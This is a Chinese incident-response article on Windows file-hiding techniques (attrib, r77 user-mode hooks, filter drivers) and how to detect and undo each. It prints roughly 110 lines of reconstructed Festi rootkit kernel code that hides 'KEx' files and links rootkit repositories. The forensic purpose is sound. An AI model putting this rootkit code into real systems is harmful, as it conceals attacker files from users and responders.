0x01 背景
在应急响应中,我们经常会遇到攻击者对受害机器做一些文件隐藏和进程隐藏的操作,其目的在于规避一些杀毒软件和对抗后续排查相关应急响应人员的排查,从而驻留在受害机器上;如下梳理了windows下常见的是实现文件隐藏操作的原理,以及如何对抗这些隐藏手段;
0x02 技术实现
一、attrib 实现文件隐藏(文件管理系统)
原理
这种方式的原理在于通过修改文件属性,从而隐藏文件,windows文件管理系统通过的;
实现方式:
通过命令:
1
attrib +s +a +h +r [文件名]
执行后对应文件消失如下:
对抗手段
打开文件资源管理器选项:
勾选显示隐藏的文件、文件夹和驱动器:
对应隐藏的文件显示出:
二、通过hook相关函数实现文件隐藏(用户层)
原理
这种方式的原理就是修改我们的Explorer.exe或者cmd.exe进程里面在获取文件列表的时候相关函数的实现逻辑,一般来说攻击者倾向于hook ntdll!NtQueryDirectoryFile/EX这个函数,因为在r3层,这个函数就是能做到的极致了;也就是说我们的cmd、explorer 去获取文件列表的时候r3层最后都会劫持这个winapi函数去实现;
实现方式:
这里我们使用一个比较典型的项目举例:
github上的r77-rootkit
这个项目能够实现对特定形式名称的文件名实现隐藏;其原理就是通过hook上面的api实现的;
笔者之前对这个项目分析过,相关文章如下,R77-rootkit分析
现象:
如下是测试使用文件夹,存在四个文件:
安装r77:运行install.exe
再次查看测试文件夹:如下图,可以看到$77
开头的文件目录和文件被隐藏了,并且这里注册表键以这个开头也会被隐藏:
对抗手段:
对抗用户层hook,其实就是做解除hook操作,问题就解决了;
所以我们主要看攻击者是怎么hook的,这里攻击者一般都是要实现全局hook,因为我们新创建的explorer.exe、cmd.exe进程都会被hook;
windows下用户层实现全局hook的姿势大概如下几种:
1、使用消息机制SetWindowsHookEx
2、hook 关键进程的 CreateProcess函数,从而hook新创建的子进程(上面r77大概就是这种思路,之前笔者也写过类似项目:https://github.com/minhangxiaohui/My_AllHook_byDetoursx64)
通过火绒剑,可以查看到相关进程,比如cmd是否被劫持了相关函数:如下图,可以看到相关cmd.exe进程的目录查询函数ntdll.dll!Zw/NtQueryDirectoryFileEx
进程创建函数:ntdll.dll!ZwResumeThread
被劫持了,消息钩子也是一样
快速判断攻击者是否是使用r77干的,有一个小技巧:winlogon 系统进程下面会有一个dllhost子进程(上面提到的r77分析文章里面详细的解释了为什么);
三、通过文件过滤驱动来实现文件隐藏(内核层)
1、使用:Easy File Locker实现驱动隐蔽的方式
安装软件:
1
http://www.xoslab.com/efl.html
打开 软件,并将要隐藏的文件添加进去:
如下:
相关文件已经被隐藏:
排查
查看windows是否存在如下文件:
c:\WINDOWS\xlkfs.dat
c:\WINDOWS\xlkfs.dll
c:\WINDOWS\xlkfs.ini
c:\WINDOWS\system32\drivers\xlkfs.sys
对抗该工具:
这种隐藏方式的原理:启动一个名为xlkfs的服务,加载xlkfs.sys驱动;
但是我们对服务进行排查的时候,使用任务管理器服务里面是找不到的,如下图:
通过wmic 排查服务也不行:
1、这里可以使用sc命令,sc是用来和服务控制管理器和服务进行通信的命令行程序:
1
2
3
4
sc query xlkfs //查询服务的状态
sc qc xlkfs //查询服务配置
sc stop xlkfs //停止服务 运行这个就可以了
sc delete xlkfs //删除服务
停止服务之后:
2、通过msinfo32、火绒剑、pchunter等之类的工具,如下图,可以看到xlkfs驱动正在运行:
2、通过自拟的文件过滤驱动实现文件隐藏
原理:
如下图是windows的应用层api调用,内核调用情况,可以看到,rip传递到驱动以及更底层的物理设备之前是先要经过过滤驱动的,通过在这里实现文件过滤驱动,匹配特殊的rip信号形式,比如:IRP_MN_QUERY_DIRECTORY\IRP_MJ_DIRECTORY_CONTROL
之类的,从而对其特殊处理,实现文件隐藏;
这里我们拿之前的rookit举例:
Festi Rootkit
曾经再过去的一段时间里,Festi Rootkit 是全球最活跃的 rootkit之一,其内核层实现文件隐藏的方式如下,笔者通过修复相关老项目代码,还原了该操作的实现:
参考:https://github.com/loneicewolf/KernelMode-Code/tree/004c1bd1cd297ff815ba40ed2adbe9daacbed1f1/FestiRootkit
还原之后的项目:https://github.com/minhangxiaohui/FestiRootkit_fix
关键代码:如下,为驱动对象注册IRP_MJ_DIRECTORY_CONTROL信号,并实现相关回调处理逻辑,提取文件名,文件目录名,判断是否以KEx开头,匹配就直接把其从链表中去掉(windows 目录列表内核处理的时候就是一个类似链表的东西,把一个个文件链接到一起,这里隐藏操作就是链表断链操作)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
KExplorer::KDriverObj->MajorFunction[IRP_MJ_DIRECTORY_CONTROL] =
[](PDEVICE_OBJECT DeviceObj, PIRP Irp)
{
DbgPrint("run IRP_MJ_DIRECTORY_CONTROL\n");
IoCopyCurrentIrpStackLocationToNext(Irp);
IoSetCompletionRoutine(Irp,
(PIO_COMPLETION_ROUTINE)SystemRootHookCompletionRoutine,
IoGetCurrentProcess(),
TRUE, TRUE, FALSE);
return IoCallDriver(((SysRootExtension*)DeviceObj->DeviceExtension)->LowerDevice,
Irp);
};
NTSTATUS
SystemRootHookCompletionRoutine(
PDEVICE_OBJECT Device,
PIRP Irp,
PEPROCESS Process
)
{
auto Extension = (SysRootExtension*)Device->DeviceExtension;
auto Stack = IoGetCurrentIrpStackLocation(Irp);
if (KeGetCurrentIrql() == PASSIVE_LEVEL)
{
if (Extension->WhichDevice == 1 &&
Stack->MajorFunction == IRP_MJ_DIRECTORY_CONTROL &&
Stack->MinorFunction == IRP_MN_QUERY_DIRECTORY &&
Process != nullptr)
{
DbgPrint("run IRP_MJ_DIRECTORY_CONTROL AND 1\n");
KAPC_STATE ApcState;
KeStackAttachProcess((PRKPROCESS)Process, &ApcState);
switch (Stack->Parameters.QueryDirectory.FileInformationClass)
{
case FileBothDirectoryInformation:
{
if (!Irp->IoStatus.Information || !Irp->UserBuffer)
{
break;
}
DbgPrint("run IRP_MJ_DIRECTORY_CONTROL AND 1 AND 2\n");
auto FileInfo = (PFILE_BOTH_DIR_INFORMATION)Irp->UserBuffer;
auto Previous = FileInfo;
while (FileInfo->NextEntryOffset)
{
if (FileInfo->FileNameLength > 3)
{
if (FileInfo->FileName[0] == L'K' &&
FileInfo->FileName[1] == L'E' &&
FileInfo->FileName[2] == L'x')
{
Previous->NextEntryOffset += FileInfo->NextEntryOffset;
FileInfo = Previous;
}
}
Previous = FileInfo;
FileInfo = (PFILE_BOTH_DIR_INFORMATION)((ULONG_PTR)FileInfo + FileInfo->NextEntryOffset);
}
} break;
case FileIdBothDirectoryInformation:
{
if (!Irp->IoStatus.Information || !Irp->UserBuffer)
{
break;
}
auto FileIdInfo = (PFILE_ID_BOTH_DIR_INFORMATION)Irp->UserBuffer;
auto Previous = FileIdInfo;
DbgPrint("run IRP_MJ_DIRECTORY_CONTROL AND 1 AND 3\n");
while (FileIdInfo->NextEntryOffset)
{
if (FileIdInfo->FileNameLength > 3)
{
if (FileIdInfo->FileName[0] == L'K' &&
FileIdInfo->FileName[1] == L'E' &&
FileIdInfo->FileName[2] == L'x')
{
DbgPrint("# %.*S\n", FileIdInfo->FileNameLength / sizeof(wchar_t),
&FileIdInfo->FileName[0]);
Previous->NextEntryOffset += FileIdInfo->NextEntryOffset;
FileIdInfo = Previous;
}
}
Previous = FileIdInfo;
FileIdInfo = (PFILE_ID_BOTH_DIR_INFORMATION)((ULONG_PTR)FileIdInfo + FileIdInfo->NextEntryOffset);
}
} break;
default: break;
}
KeUnstackDetachProcess(&ApcState);
}
}
/*
don't really need to implement this, since this is aimed at
the network device Festi creates; maybe I'll add it later as well
*/
if (Extension->WhichDevice == 2)
{
/* ... */
}
if (Irp->PendingReturned)
{
Stack->Control |= SL_PENDING_RETURNED;
}
return STATUS_SUCCESS;
}
现象:
未加载该过滤驱动前,通过文件管理器打开文件夹显示如下:
加载驱动:
再查看文件:可以看到以KEx开头的文件和目录被隐藏了
对抗排查:
通过火绒剑查看内核加载驱动情况(这里因为本身罗列驱动就是一个被劫持的操作,所以使用devicetree或者系统自带的msinfo32之类的命令查不到这个驱动),挨个过可疑驱动:
通过火绒剑查看,主要看 安全状态是未知,没有识别出公司名的;然后看安全状态是数字签名的(因为有些签名可能泄露);
然后还有就是结合相关驱动的IRP Dispatch情况去排查,是否存在对应的IRP信号,比如IRP_MJ_DIRECTORY_CONTROL
这种;
如果device没有命名,也可以排查出来:
然后再驱动中找到:
然后卸载、删除对应恶意驱动:
0x03 总结
windows实现的文件隐藏的三种实现方案:
1、通过文件系统
2、通过用户层hook
3、通过文件过滤驱动
本文对相关原理描述分析,并且给出了排查思路和解决方案;
其实去排查的时候最快的方法就是使用火绒剑,因为火绒剑,本身是使用自己的sys文件来实现所有操作的,所以基本都不会受影响,按这几个大方向排查即可;